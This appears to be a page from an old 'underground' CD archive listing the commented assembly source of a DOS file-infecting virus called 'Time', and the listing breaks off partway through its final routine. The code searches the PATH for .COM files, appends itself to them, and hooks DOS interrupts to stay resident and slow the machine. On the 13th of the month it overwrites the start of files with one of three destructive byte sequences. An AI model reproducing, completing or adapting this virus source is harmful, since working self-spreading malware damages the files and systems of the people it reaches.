home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / time.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  27.0 KB  |  785 lines

  1. ; Start disassembly
  2.  
  3. DATA_1E         EQU 64H   ; (761D:0064=0)
  4.  
  5. DATA_2E  EQU 66H   ; (761D:0066=0)
  6.  
  7. DATA_3E  EQU 68H   ; (761D:0068=0)
  8.  
  9. DATA_10E EQU 4F43H   ; (761D:4F43=0)
  10.  
  11. DATA_11E EQU 504DH   ; (761D:504D=0)
  12.  
  13.   
  14.  
  15. SEG_A  SEGMENT
  16.  
  17.   ASSUME CS:SEG_A, DS:SEG_A
  18.  
  19.   
  20.  
  21.   
  22.  
  23.   ORG 100h
  24.  
  25.   
  26.  
  27. Time  PROC FAR
  28.  
  29.   
  30.  
  31. start:
  32.  
  33.   JMP Virus_Entry_Point ;
  34.  
  35.  
  36.  
  37. ;██████████████████████████████████████████████████████████████████████████
  38.  
  39. ;██                                                                      ██
  40.  
  41. ;██ Original Program without 1st three bytes...                          ██
  42.  
  43. ;██                                                                      ██
  44.  
  45. ;██████████████████████████████████████████████████████████████████████████
  46.  
  47.  
  48.  
  49. DATA_5  DB 9987 DUP (90H)
  50.  
  51.   MOV AH,4CH   ;
  52.  
  53.   MOV AL,DATA_2  ; Terminate to DOS with 
  54.  
  55.   INT 21H   ; exitcode AL
  56.  
  57.   DB 0
  58.  
  59. DATA_2  DB 0
  60.  
  61.   DB 0
  62.  
  63.  
  64.  
  65. ;██████████████████████████████████████████████████████████████████████████
  66.  
  67. ;██                                                                      ██
  68.  
  69. ;██ Virus Entry Point                                                    ██
  70.  
  71. ;██                                                                      ██
  72.  
  73. ;██████████████████████████████████████████████████████████████████████████
  74.  
  75.  
  76.  
  77. Virus_Entry_Point:
  78.  
  79.   JMP SHORT Set_Virus_Data_Point  
  80.  
  81.   NOP
  82.  
  83.  
  84.  
  85. ;██████████████████████████████████████████████████████████████████████████
  86.  
  87. ;██                                                                      ██
  88.  
  89. ;██ Set Virus Data Storage Point                                         ██
  90.  
  91. ;██                                                                      ██
  92.  
  93. ;██████████████████████████████████████████████████████████████████████████
  94.  
  95.  
  96.  
  97. Set_Virus_Data_Point:
  98.  
  99.   PUSH CX   ; Store CX
  100.  
  101.   MOV DX,2B2DH  ;
  102.  
  103.   MOV SI,DX   ; SI points at start of
  104.  
  105.       ; virus data
  106.  
  107.  
  108.  
  109. ;██████████████████████████████████████████████████████████████████████████
  110.  
  111. ;██                                                                      ██
  112.  
  113. ;██ Get DTA Address                                                      ██
  114.  
  115. ;██                                                                      ██
  116.  
  117. ;██████████████████████████████████████████████████████████████████████████
  118.  
  119.  
  120.  
  121.  
  122.  
  123.   PUSH ES   ; Store ES
  124.  
  125.   MOV AH,2FH   ; GET DTA address into
  126.  
  127.   INT 21H   ; ES:BX
  128.  
  129.   MOV [SI],BX   ; Store BX of DTA
  130.  
  131.   MOV [SI+2],ES  ; Store ES of DTA
  132.  
  133.   POP ES   ; Restore ES
  134.  
  135.  
  136.  
  137. ;██████████████████████████████████████████████████████████████████████████
  138.  
  139. ;██                                                                      ██
  140.  
  141. ;██ Set new DTA Address                                                  ██
  142.  
  143. ;██                                                                      ██
  144.  
  145. ;██████████████████████████████████████████████████████████████████████████
  146.  
  147.  
  148.  
  149.   MOV DX,4EH   ;
  150.  
  151.   ADD DX,SI   ; 
  152.  
  153.   MOV AH,1AH   ; 
  154.  
  155.   INT 21H   ; Set new DTA to DS:DX
  156.  
  157.  
  158.  
  159.   PUSH SI   ; Store SI
  160.  
  161.   CLD    ; Clear direction
  162.  
  163.   MOV DI,SI   ; 
  164.  
  165.   ADD SI,0AH   ;
  166.  
  167.   ADD DI,81H   ;
  168.  
  169.   MOV CX,3   ; Move 3 bytes from source 
  170.  
  171.   REP MOVSB   ; to destination (E9h, 45h
  172.  
  173.       ; 45h)
  174.  
  175.   POP SI   ; Restore SI
  176.  
  177.  
  178.  
  179.   PUSH ES   ; Store ES
  180.  
  181.   PUSH SI   ; Store SI
  182.  
  183.   PUSH BX   ; Store BX
  184.  
  185.   MOV BX,2CH   
  186.  
  187.   MOV AX,[BX]   ; Get Extra Segment?
  188.  
  189.   POP BX   ; Restore BX
  190.  
  191.   MOV ES,AX
  192.  
  193.   MOV DI,0
  194.  
  195.  
  196.  
  197. ;██████████████████████████████████████████████████████████████████████████
  198.  
  199. ;██                                                                      ██
  200.  
  201. ;██ Search for the PATH                                                  ██
  202.  
  203. ;██                                                                      ██
  204.  
  205. ;██████████████████████████████████████████████████████████████████████████
  206.  
  207.  
  208.  
  209. Search_For_Path:
  210.  
  211.   POP SI   ; Restore SI
  212.  
  213.   PUSH SI   ; Store SI
  214.  
  215.   ADD SI,1AH   ;
  216.  
  217.   LODSB    ; Load the 'M' into AL
  218.  
  219.   MOV CX,8000H  ;
  220.  
  221.   REPNE SCASB   ; 
  222.  
  223.   MOV CX,4   ;
  224.  
  225.  Path_Loop:
  226.  
  227.   LODSB    ; 
  228.  
  229.   SCASB    ; 
  230.  
  231.   JNZ Search_For_Path  ; 
  232.  
  233.   LOOP Path_Loop  ; Pitty, PATH not yet found.
  234.  
  235.   
  236.  
  237.   POP SI   ; Restore SI
  238.  
  239.   POP ES   ; Restore ES
  240.  
  241.   MOV [SI+16H],DI  ; Store address of PATH
  242.  
  243.   MOV BX,SI   ; Temp. Storage of SI
  244.  
  245.   ADD SI,26H   ;
  246.  
  247.   MOV DI,SI   ; 
  248.  
  249.   JMP SHORT Find_First_FileName
  250.  
  251.   NOP
  252.  
  253.  
  254.  
  255. ;██████████████████████████████████████████████████████████████████████████
  256.  
  257. ;██                                                                      ██
  258.  
  259. ;██                                                                      ██
  260.  
  261. ;██                                                                      ██
  262.  
  263. ;██████████████████████████████████████████████████████████████████████████
  264.  
  265.  
  266.  
  267. Error:
  268.  
  269.   CMP WORD PTR [SI+16H],0
  270.  
  271.   JNE Set_Virus_Path  ; 
  272.  
  273.   JMP Restore_Org_DTA  ; Error occured. Restore
  274.  
  275.       ; original DTA,
  276.  
  277.       ; 1st three bytes and
  278.  
  279.       ; execute original
  280.  
  281.       ; program.
  282.  
  283.  
  284.  
  285. ;██████████████████████████████████████████████████████████████████████████
  286.  
  287. ;██                                                                      ██
  288.  
  289. ;██ Start Searching for PATH                                             ██
  290.  
  291. ;██                                                                      ██
  292.  
  293. ;██████████████████████████████████████████████████████████████████████████
  294.  
  295.  
  296.  
  297. Set_Virus_Path:
  298.  
  299.   PUSH DS   ; Store Registers
  300.  
  301.   PUSH SI
  302.  
  303.   PUSH AX
  304.  
  305.   PUSH ES
  306.  
  307.   PUSH ES
  308.  
  309.   POP DS   ; DS=ES
  310.  
  311.   PUSH BX
  312.  
  313.   MOV BX,2CH
  314.  
  315.   MOV AX,[BX]
  316.  
  317.   POP BX   ; Restore BX
  318.  
  319.   MOV [SI+1FH],AX  ; 
  320.  
  321.   MOV DI,SI   ;
  322.  
  323.   MOV AX,[DI+16H]  ; Org.address of PATH
  324.  
  325.   MOV SI,AX   ;
  326.  
  327.   MOV DS,[DI+1FH]  ;
  328.  
  329.   POP ES   ;
  330.  
  331.   POP AX   ;
  332.  
  333.   ADD DI,26H   ; 
  334.  
  335. Reached_EO_Path:
  336.  
  337.   LODSB    ; Get byte into AL
  338.  
  339.   CMP AL,3BH   ; Path Delimiter ';' reached? 
  340.  
  341.   JE Delimiter_Reached ; Yes
  342.  
  343.   CMP AL,0   ; End of Path reached?
  344.  
  345.   JE EO_Path_Reached  ; Yes
  346.  
  347.   STOSB    ; Store byte in AL
  348.  
  349.   JMP SHORT Reached_EO_Path ; 
  350.  
  351. EO_Path_Reached:
  352.  
  353.   MOV SI,0   ;
  354.  
  355. Delimiter_Reached:
  356.  
  357.   POP BX   ;
  358.  
  359.   POP DS   ;
  360.  
  361.   MOV [BX+16H],SI  ; 
  362.  
  363.   CMP BYTE PTR [DI-1],5CH ; Is the PATH closed by
  364.  
  365.       ; a backslash? 
  366.  
  367.   JE Find_First_FileName ; Yes
  368.  
  369.   MOV AL,5CH   ; 
  370.  
  371.   STOSB    ; Place Backslash
  372.  
  373.  
  374.  
  375. ;██████████████████████████████████████████████████████████████████████████
  376.  
  377. ;██                                                                      ██
  378.  
  379. ;██ Find First Filename                                                  ██
  380.  
  381. ;██                                                                      ██
  382.  
  383. ;██████████████████████████████████████████████████████████████████████████
  384.  
  385.  
  386.  
  387. Find_First_FileName:
  388.  
  389.   MOV [BX+18H],DI  ; Store at which address
  390.  
  391.       ; the path starts
  392.  
  393.       ; BX=SI
  394.  
  395.   MOV SI,BX   ; Restore SI
  396.  
  397.   ADD SI,10H   ; 
  398.  
  399.   MOV CX,6   ;
  400.  
  401.   REP MOVSB   ; Set Search.Spec.
  402.  
  403.   MOV SI,BX   ; Restore SI
  404.  
  405.  
  406.  
  407.   MOV AH,4EH   ; 
  408.  
  409.   MOV DX,26H   ;
  410.  
  411.   ADD DX,SI   ; Filename:= *.COM
  412.  
  413.   MOV CX,3   ; Search Attributes:
  414.  
  415.       ; Read Only/Hidden
  416.  
  417.   INT 21H   ; Find 1st Filename to
  418.  
  419.       ; match with DS:DX
  420.  
  421.   JMP SHORT Error_Handler ; 
  422.  
  423.   NOP
  424.  
  425.  
  426.  
  427. ;██████████████████████████████████████████████████████████████████████████
  428.  
  429. ;██                                                                      ██
  430.  
  431. ;██ Find Next Filename                                                   ██
  432.  
  433. ;██                                                                      ██
  434.  
  435. ;██████████████████████████████████████████████████████████████████████████
  436.  
  437.  
  438.  
  439. Find_Next_FileName:
  440.  
  441.   MOV AH,4FH   ; 
  442.  
  443.   INT 21H   ; Find next Filename to
  444.  
  445.       ; match with DS:DX
  446.  
  447.  
  448.  
  449. ;██████████████████████████████████████████████████████████████████████████
  450.  
  451. ;██                                                                      ██
  452.  
  453. ;██ Error Handler                                                        ██
  454.  
  455. ;██                                                                      ██
  456.  
  457. ;██████████████████████████████████████████████████████████████████████████
  458.  
  459.  
  460.  
  461. Error_Handler:
  462.  
  463.   JNC Check_Filelength ; Jump if carry=0, so
  464.  
  465.       ; no errors
  466.  
  467.   JMP SHORT Error  ; Carry Set, so error
  468.  
  469.       ; occured
  470.  
  471.  
  472.  
  473. ;██████████████████████████████████████████████████████████████████████████
  474.  
  475. ;██                                                                      ██
  476.  
  477. ;██ Check Filelength and look if file is already infected.               ██
  478.  
  479. ;██                                                                      ██
  480.  
  481. ;██████████████████████████████████████████████████████████████████████████
  482.  
  483.  
  484.  
  485.  
  486.  
  487. Check_Filelength:
  488.  
  489.   MOV AX,DS:DATA_1E[SI] ; (761D:0064=0)
  490.  
  491.   AND AL,1FH
  492.  
  493.   CMP AL,7
  494.  
  495.   JE Find_Next_FileName ; File already infected.
  496.  
  497.   CMP WORD PTR DS:DATA_3E[SI],0FA00H
  498.  
  499.       ; Is the length of the
  500.  
  501.       ; file more as FA00h bytes?
  502.  
  503.   JA Find_Next_FileName ; Yes.
  504.  
  505.   CMP WORD PTR DS:DATA_3E[SI],0F00H 
  506.  
  507.       ; Is the length of the
  508.  
  509.       ; file less as 0F00h bytes?
  510.  
  511.   JB Find_Next_FileName ; Yes
  512.  
  513.   MOV DI,[SI+18H]  ; Get address of path of virus
  514.  
  515.   PUSH SI   ; Store SI
  516.  
  517.   ADD SI,6CH   
  518.  
  519. Set_FileName:
  520.  
  521.   LODSB    ; Set up Filename for 
  522.  
  523.   STOSB    ; infection.
  524.  
  525.   CMP AL,0   ; End Of Filename Reached?
  526.  
  527.   JNE Set_FileName  ; No
  528.  
  529.  
  530.  
  531. ;██████████████████████████████████████████████████████████████████████████
  532.  
  533. ;██                                                                      ██
  534.  
  535. ;██ Set Temporary File attributes                                        ██
  536.  
  537. ;██                                                                      ██
  538.  
  539. ;██████████████████████████████████████████████████████████████████████████
  540.  
  541.  
  542.  
  543.   POP SI   ; Restore SI
  544.  
  545.   MOV CX,[SI+63H]  ; 
  546.  
  547.   MOV CH,0   ;
  548.  
  549.   MOV [SI+8],CX  ; Get File-Attributes
  550.  
  551.   MOV AX,CX   ;
  552.  
  553.   MOV CX,0FFFEH  ; 
  554.  
  555.   AND AX,CX   ; Remove Read-Only Attribute
  556.  
  557.   MOV CX,AX   ;
  558.  
  559.   MOV AX,4301H  ;
  560.  
  561.   MOV DX,26H   ;
  562.  
  563.   ADD DX,SI   ;
  564.  
  565.   INT 21H   ; Set File-Attributes
  566.  
  567.  
  568.  
  569. ;██████████████████████████████████████████████████████████████████████████
  570.  
  571. ;██                                                                      ██
  572.  
  573. ;██ Open the File                                                        ██
  574.  
  575. ;██                                                                      ██
  576.  
  577. ;██████████████████████████████████████████████████████████████████████████
  578.  
  579.  
  580.  
  581.   MOV AX,3D02H  ; Open the file for both
  582.  
  583.   INT 21H   ; reading and writing
  584.  
  585.   JNC Give_Infection_Marker ; If no error occured...
  586.  
  587.   JMP Set_FileAttributes_Back ; Error occured
  588.  
  589.  
  590.  
  591. Give_Infection_Marker:
  592.  
  593.   MOV BX,AX
  594.  
  595.   MOV CX,DS:DATA_2E[SI] ; (761D:0066=0)
  596.  
  597.   MOV [SI+6],CX
  598.  
  599.   MOV CX,DS:DATA_1E[SI] ; (761D:0064=0)
  600.  
  601.   AND CL,0E0H
  602.  
  603.   OR CL,7
  604.  
  605.   MOV [SI+4],CX
  606.  
  607.   JMP SHORT Get_Current_Time ; (2967)
  608.  
  609.   NOP
  610.  
  611.  
  612.  
  613. ;██████████████████████████████████████████████████████████████████████████
  614.  
  615. ;██                                                                      ██
  616.  
  617. ;██ This Part will be installed resident after hooking INT 20h           ██
  618.  
  619. ;██                                                                      ██
  620.  
  621. ;██████████████████████████████████████████████████████████████████████████
  622.  
  623.  
  624.  
  625.   PUSHF    ; Push flags
  626.  
  627.   PUSH DS
  628.  
  629.   PUSH ES
  630.  
  631.   PUSH SS
  632.  
  633.   PUSH AX
  634.  
  635.   PUSH BX
  636.  
  637.   PUSH DX
  638.  
  639.   PUSH DI
  640.  
  641.   PUSH SI
  642.  
  643.   PUSH BP
  644.  
  645.   MOV DX,43H
  646.  
  647.   MOV AL,74H   ; This will change the refesh
  648.  
  649.   OUT DX,AL   ; rate, thus slowing down the
  650.  
  651.   MOV DX,41H   ; PC. Every normal program-
  652.  
  653.   MOV AL,8   ; termination by calling
  654.  
  655.   OUT DX,AL   ; INT 20h will call this 
  656.  
  657.   MOV AL,7   ; rourtine
  658.  
  659.   OUT DX,AL   ; 
  660.  
  661.   POP BP
  662.  
  663.   POP SI
  664.  
  665.   POP DI
  666.  
  667.   POP DX
  668.  
  669.   POP BX
  670.  
  671.   POP AX
  672.  
  673.   POP SS
  674.  
  675.   POP ES
  676.  
  677.   POP DS
  678.  
  679.   POPF    ; Pop flags
  680.  
  681.   JMP CS:DATA_5   ; (761D:0253=9090H)
  682.  
  683.       ; JMP to org. INT 20h address
  684.  
  685.   ADD [BX+SI],AL
  686.  
  687.   ADD [BX+SI],AL
  688.  
  689.  
  690.  
  691. ;██████████████████████████████████████████████████████████████████████████
  692.  
  693. ;██                                                                      ██
  694.  
  695. ;██ Get Current Time                                                     ██
  696.  
  697. ;██                                                                      ██
  698.  
  699. ;██████████████████████████████████████████████████████████████████████████
  700.  
  701.  
  702.  
  703. Get_Current_Time:
  704.  
  705.   PUSH AX   ; Store all registers
  706.  
  707.   PUSH BX
  708.  
  709.   PUSH CX
  710.  
  711.   PUSH DX
  712.  
  713.   PUSH DS
  714.  
  715.   PUSH ES
  716.  
  717.   PUSH SI
  718.  
  719.   PUSH DI
  720.  
  721.   PUSH BP
  722.  
  723.   MOV AH,2CH   ; Get current time into CX:DX
  724.  
  725.   INT 21H   ; CX=hrs/min, DX=sec/hund.sec
  726.  
  727.   CMP DL,32H   ; Are we above 32/100 seconds?
  728.  
  729.   JA Get_INT_F2_Vector ; Yes
  730.  
  731.   JMP Start_Trigger_Check ; No
  732.  
  733.  
  734.  
  735. ;██████████████████████████████████████████████████████████████████████████
  736.  
  737. ;██                                                                      ██
  738.  
  739. ;██ Get Interrupt Vector of INT F2h                                      ██
  740.  
  741. ;██                                                                      ██
  742.  
  743. ;██████████████████████████████████████████████████████████████████████████
  744.  
  745.  
  746.  
  747. Get_INT_F2_Vector:
  748.  
  749.   MOV AH,35H   ; Get the interrupt vector of
  750.  
  751.   MOV AL,0F2H   ; INT 0F2h into ES:BX
  752.  
  753.   INT 21H   ; 
  754.  
  755.  
  756.  
  757.   CMP BX,7777H  ; Was INT F2 already hooked?
  758.  
  759.       
  760.  
  761.   JNE Allocate_Memory  ; No
  762.  
  763.   JMP INT_F2_Already_Hooked ; 
  764.  
  765. Allocate_Memory:
  766.  
  767.   MOV AX,DS   ;
  768.  
  769.   DEC AX   ;
  770.  
  771.   MOV ES,AX   ;
  772.  
  773.   MOV BX,0   ;
  774.  
  775.   CMP BYTE PTR ES:[BX],5AH ; 
  776.  
  777.   JE Memory_Already_Allocated  
  778.  
  779.   PUSH BX   ;
  780.  
  781.   MOV AH,48H   ; Allocate 4096 16-byte-para-
  782.  
  783.   MOV BX,0FFFFH  ; graphs in memory. ???
  784.  
  785.   INT 21H   ; 
  786.  
  787.   CMP BX,5   ; Is the largest available
  788.  
  789.       ; 5 or higher?
  790.  
  791.   JAE Again_Allocate_Memory ; Yes
  792.  
  793.   JMP Start_Trigger_Check   ; No
  794.  
  795. Again_Allocate_Memory:
  796.  
  797.   MOV AH,48H   ; Again allocate memory
  798.  
  799.   INT 21H   ; 
  800.  
  801.   POP BX   ;
  802.  
  803.   JNC Segment_Decrease ; If there was no error when
  804.  
  805.       ; allocating memory the last
  806.  
  807.       ; time
  808.  
  809.   JMP Start_Trigger_Check ; If there was an error
  810.  
  811. Segment_Decrease:
  812.  
  813.   DEC AX   ; Decrease Segment of Allcated
  814.  
  815.       ; memory
  816.  
  817.   MOV ES,AX   ;
  818.  
  819.   MOV BX,1   ;
  820.  
  821.   MOV WORD PTR ES:[BX],0 ;
  822.  
  823.   MOV BX,0   ;
  824.  
  825.   CMP BYTE PTR ES:[BX],5AH ;
  826.  
  827.   JE Memory_Allocated ;
  828.  
  829.   JMP SHORT Start_Trigger_Check  
  830.  
  831.   NOP    ;
  832.  
  833. Memory_Allocated:
  834.  
  835.   MOV BX,3   ;
  836.  
  837.   ADD AX,ES:[BX]  ;
  838.  
  839.   INC AX   ;
  840.  
  841.   MOV BX,12H   ;
  842.  
  843.   MOV ES:[BX],AX  ;
  844.  
  845. Memory_Already_Allocated: 
  846.  
  847.   MOV BX,3   ;
  848.  
  849.   MOV AX,ES:[BX]  ;
  850.  
  851.   SUB AX,5   ;
  852.  
  853.   JC Start_Trigger_Check ; Jump if carry Set
  854.  
  855.   MOV ES:[BX],AX  ;
  856.  
  857.   MOV BX,12H   ;
  858.  
  859.   SUB WORD PTR ES:[BX],5 ;
  860.  
  861.   MOV ES,ES:[BX]  ;
  862.  
  863.   PUSH SI   ; Store SI
  864.  
  865.   SUB SI,1F2H   ; SI points to the part
  866.  
  867.   MOV DI,0   ; which must become
  868.  
  869.   MOV CX,46H   ; resident.
  870.  
  871.   REP MOVSB   ; Move the 46h bytes from
  872.  
  873.       ; [SI] to ES:[DI]
  874.  
  875.   POP SI   ; Restore SI
  876.  
  877.   MOV BP,ES   ;
  878.  
  879.   PUSH CS   ;
  880.  
  881.   POP ES   ; Restore ES
  882.  
  883.  
  884.  
  885.   MOV AH,25H   ; Hook interrupt F2h
  886.  
  887.   MOV AL,0F2H   ; New INT-vector will
  888.  
  889.   MOV DX,7777H  ; be DS:7777h
  890.  
  891.   INT 21H   ; 
  892.  
  893.   JMP SHORT Hook_INT_20h ; (2A10)
  894.  
  895.   NOP
  896.  
  897.  
  898.  
  899. INT_F2_Already_Hooked:
  900.  
  901.   JMP SHORT Start_Trigger_Check  
  902.  
  903.   NOP
  904.  
  905. Hook_INT_20h:
  906.  
  907.   MOV AL,20H   ; 
  908.  
  909.   MOV AH,35H   ; Get the INT 20h Vector
  910.  
  911.   INT 21H   ; into ES:BX
  912.  
  913.  
  914.  
  915.   MOV DX,ES   ;
  916.  
  917.   MOV ES,BP   ;
  918.  
  919.   PUSH SI   ;
  920.  
  921.   MOV AX,SI   ;
  922.  
  923.   SUB AX,1CAH   ;
  924.  
  925.   MOV DI,SI   ;
  926.  
  927.   SUB DI,1F2H   ;
  928.  
  929.   SUB AX,DI   ;
  930.  
  931.   MOV SI,AX   ;
  932.  
  933.   MOV ES:[SI],BX  ;
  934.  
  935.   ADD SI,2   ;
  936.  
  937.   MOV ES:[SI],DX  ;
  938.  
  939.   SUB SI,4   ;
  940.  
  941.   MOV ES:[SI],AX  ;
  942.  
  943.   POP SI   ;
  944.  
  945.   PUSH CS   ;
  946.  
  947.   POP ES   ;
  948.  
  949.  
  950.  
  951.   MOV AH,25H   ; Install new INT 20h
  952.  
  953.   MOV DS,BP   ; vector to DS:DX
  954.  
  955.   MOV DX,0   ; (=DS:00)
  956.  
  957.   MOV AL,20H   ; 
  958.  
  959.   INT 21H   ; 
  960.  
  961.  
  962.  
  963. ;██████████████████████████████████████████████████████████████████████████
  964.  
  965. ;██                                                                      ██
  966.  
  967. ;██ Start Trigger Check                                                  ██
  968.  
  969. ;██                                                                      ██
  970.  
  971. ;██████████████████████████████████████████████████████████████████████████
  972.  
  973.  
  974.  
  975. Start_Trigger_Check:
  976.  
  977.   POP BP   ; Restore Registers
  978.  
  979.   POP DI
  980.  
  981.   POP SI
  982.  
  983.   POP ES
  984.  
  985.   POP DS
  986.  
  987.   POP DX
  988.  
  989.   POP CX
  990.  
  991.   POP BX
  992.  
  993.   POP AX
  994.  
  995.   MOV AH,2AH   ; Get the current date 
  996.  
  997.   INT 21H   ; CX=year, DX=mon/day
  998.  
  999.   CMP DL,0DH   ; Is it the 13th of the month?
  1000.  
  1001.   JNE Start_Infecting_File ; No
  1002.  
  1003.  
  1004.  
  1005. ;██████████████████████████████████████████████████████████████████████████
  1006.  
  1007. ;██                                                                      ██
  1008.  
  1009. ;██  It is the 13th of the Month... Select 1 out of 3 destructions       ██ 
  1010.  
  1011. ;██                                                                      ██
  1012.  
  1013. ;██████████████████████████████████████████████████████████████████████████
  1014.  
  1015.  
  1016.  
  1017.   MOV AH,2CH   ; Get current time
  1018.  
  1019.   INT 21H   ; CX=hrs/min, DX=sec/hund.sec
  1020.  
  1021.   CMP DL,3CH   ; Are we above 60/100 seconds?
  1022.  
  1023.   JA Destruction_2  ; Yes
  1024.  
  1025.   CMP DL,1EH   ; Are we above 30/100 seconds?
  1026.  
  1027.   JA Destruction_3  ; Yes
  1028.  
  1029.  
  1030.  
  1031. ;██████████████████████████████████████████████████████████████████████████
  1032.  
  1033. ;██                                                                      ██
  1034.  
  1035. ;██ Destruction Scheme 1: Place the following code at the begining of a  ██
  1036.  
  1037. ;██ file: MOV AH,00                                                      ██
  1038.  
  1039. ;██       INT 20h                                                        ██
  1040.  
  1041. ;██       NOP                                                            ██
  1042.  
  1043. ;██                                                                      ██
  1044.  
  1045. ;██ When a file is executed with this code at the begining, the program  ██
  1046.  
  1047. ;██ will terminate at once with returning to DOS.                        ██
  1048.  
  1049. ;██                                                                      ██
  1050.  
  1051. ;██████████████████████████████████████████████████████████████████████████
  1052.  
  1053.  
  1054.  
  1055.   MOV DX,SI
  1056.  
  1057.   ADD DX,21H
  1058.  
  1059.   JMP SHORT Write_5_Destruction_Bytes  
  1060.  
  1061.   NOP
  1062.  
  1063.  
  1064.  
  1065. ;██████████████████████████████████████████████████████████████████████████
  1066.  
  1067. ;██                                                                      ██
  1068.  
  1069. ;██ Destruction Scheme 2: Place the following code at the begining of a  ██
  1070.  
  1071. ;██ file: HLT                                                            ██
  1072.  
  1073. ;██       HLT                                                            ██
  1074.  
  1075. ;██       HLT                                                            ██
  1076.  
  1077. ;██       HLT                                                            ██
  1078.  
  1079. ;██       DB  CDh (which is the opcode for INT)                          ██
  1080.  
  1081. ;██                                                                      ██
  1082.  
  1083. ;██ When a file is executed with this code at the begining, the program  ██
  1084.  
  1085. ;██ will execute the 4 HLT's and then perform an INT-Call depending on   ██
  1086.  
  1087. ;██ the byte following CDh. This can be any INT-Call. So this scheme     ██
  1088.  
  1089. ;██ can be consisered the dangeroust of all three destruction schemes.   ██
  1090.  
  1091. ;██ will terminate at once with returning to DOS. The first five bytes   ██
  1092.  
  1093. ;██ of a file will be overwritten always, making the file useless, but   ██
  1094.  
  1095. ;██ issuing and 'random' INT-Call can do much more harm.                 ██
  1096.  
  1097. ;██                                                                      ██
  1098.  
  1099. ;██████████████████████████████████████████████████████████████████████████
  1100.  
  1101.  
  1102.  
  1103. Destruction_2:
  1104.  
  1105.   MOV DX,SI
  1106.  
  1107.   ADD DX,79H
  1108.  
  1109.   JMP SHORT Write_5_Destruction_Bytes  
  1110.  
  1111.   NOP
  1112.  
  1113.  
  1114.  
  1115. ;██████████████████████████████████████████████████████████████████████████
  1116.  
  1117. ;██                                                                      ██
  1118.  
  1119. ;██ Destruction Scheme 3: Place the following code at the begining of a  ██
  1120.  
  1121. ;██ file: INT 19h                                                        ██
  1122.  
  1123. ;██       INT 19h                                                        ██
  1124.  
  1125. ;██       DB  ?    (Can be anything. It is the 1st byte of the org.file) ██
  1126.  
  1127. ;██                                                                      ██
  1128.  
  1129. ;██ When a file is executed with this code at the begining, the program  ██
  1130.  
  1131. ;██ will cause a reboot without a memory test and preserving the         ██
  1132.  
  1133. ;██ interrupt vectors. If any interrupt vector from 00h through 1Ch has  ██
  1134.  
  1135. ;██ been set, the system most likely will hang itself, because of this   ██
  1136.  
  1137. ;██ preserving.                                                          ██
  1138.  
  1139. ;██                                                                      ██
  1140.  
  1141. ;██████████████████████████████████████████████████████████████████████████
  1142.  
  1143.  
  1144.  
  1145. Destruction_3:
  1146.  
  1147.   MOV DX,SI
  1148.  
  1149.   ADD DX,7DH
  1150.  
  1151.   JMP SHORT Write_5_Destruction_Bytes  
  1152.  
  1153.   NOP
  1154.  
  1155.  
  1156.  
  1157. ;██████████████████████████████████████████████████████████████████████████
  1158.  
  1159. ;██                                                                      ██
  1160.  
  1161. ;██ Write the 5 bytes with the destruction to the begining of the file   ██
  1162.  
  1163. ;██                                                                      ██
  1164.  
  1165. ;██████████████████████████████████████████████████████████████████████████
  1166.  
  1167.  
  1168.  
  1169. Write_5_Destruction_Bytes:
  1170.  
  1171.   MOV AH,40H   ; 
  1172.  
  1173.   MOV CX,5   ;
  1174.  
  1175.   INT 21H   ; Write 5 bytes to the file
  1176.  
  1177.   JMP SHORT Set_FileDate_Time_Back 
  1178.  
  1179.   NOP
  1180.  
  1181.  
  1182.  
  1183. ;██████████████████████████████████████████████████████████████████████████
  1184.  
  1185. ;██                                                                      ██
  1186.  
  1187. ;██ It is not the 13th of the month... Infect the file                   ██
  1188.  
  1189. ;██                                                                      ██
  1190.  
  1191. ;██████████████████████████████████████████████████████████████████████████
  1192.  
  1193.  
  1194.  
  1195. Start_Infecting_File:
  1196.  
  1197.   MOV AH,3FH   ; 
  1198.  
  1199.   MOV CX,3   ; Number of bytes to read
  1200.  
  1201.   MOV DX,0AH   ;
  1202.  
  1203.   ADD DX,SI   ;
  1204.  
  1205.   INT 21H   ; Read the bytes from the file
  1206.  
  1207.       ; and put them at DS:DX
  1208.  
  1209.   JC Set_FileDate_Time_Back ; If Error Occurred
  1210.  
  1211.   CMP AL,3   ; 3 Bytes read?
  1212.  
  1213.   JNE Set_FileDate_Time_Back ; No
  1214.  
  1215.  
  1216.  
  1217.  
  1218.  
  1219.   MOV AX,4202H  ; Set the Read/Write 
  1220.  
  1221.   MOV CX,0   ; pointer to the EOF at 
  1222.  
  1223.   MOV DX,0   ; offset CX:DX (=00:00)
  1224.  
  1225.   INT 21H   ; 
  1226.  
  1227.  
  1228.  
  1229.   MOV CX,AX   ; CX=Length of File
  1230.  
  1231.   SUB AX,3   ;
  1232.  
  1233.   MOV [SI+0EH],AX  ; Store Length -3 bytes
  1234.  
  1235.   ADD CX,41DH   ; CX=CX+41Dh
  1236.  
  1237.   MOV DI,SI
  1238.  
  1239.   SUB DI,318H
  1240.  
  1241.   MOV [DI],CX   ; Set new Virus Data Area
  1242.  
  1243.       ; Address into code
  1244.  
  1245.   MOV AH,40H   ; 
  1246.  
  1247.   MOV CX,3ABH   ; CX=3ABh The length of the
  1248.  
  1249.       ; viral-code written to disk.
  1250.  
  1251.   MOV DX,SI
  1252.  
  1253.   SUB DX,31DH   ; DX points at the start of
  1254.  
  1255.       ; the virus code
  1256.  
  1257.   INT 21H   ; Write the viral-code to the
  1258.  
  1259.       ; file
  1260.  
  1261.  
  1262.  
  1263.   JC Set_FileDate_Time_Back ; If an error occured
  1264.  
  1265.   CMP AX,3ABH   ; 3ABh bytes written?
  1266.  
  1267.   JNE Set_FileDate_Time_Back ; No
  1268.  
  1269.   MOV AX,4200H  ; Move Read/Write Pointer to
  1270.  
  1271.   MOV CX,0   ; the beginning of the file
  1272.  
  1273.   MOV DX,0   ; at offset CX:DX(=00:00)
  1274.  
  1275.   INT 21H   ; 
  1276.  
  1277.  
  1278.  
  1279.   MOV AH,40H   ; Write the 1st three new 
  1280.  
  1281.   MOV CX,3   ; bytes to the file. These
  1282.  
  1283.   MOV DX,SI   ; bytes contain the JMP
  1284.  
  1285.   ADD DX,0DH   ; instruction to the virus.
  1286.  
  1287.   INT 21H   ; 
  1288.  
  1289.  
  1290.  
  1291. ;██████████████████████████████████████████████████████████████████████████
  1292.  
  1293. ;██                                                                      ██
  1294.  
  1295. ;██ Set File-Time/Date back                                              ██
  1296.  
  1297. ;██                                                                      ██
  1298.  
  1299. ;██████████████████████████████████████████████████████████████████████████
  1300.  
  1301.  
  1302.  
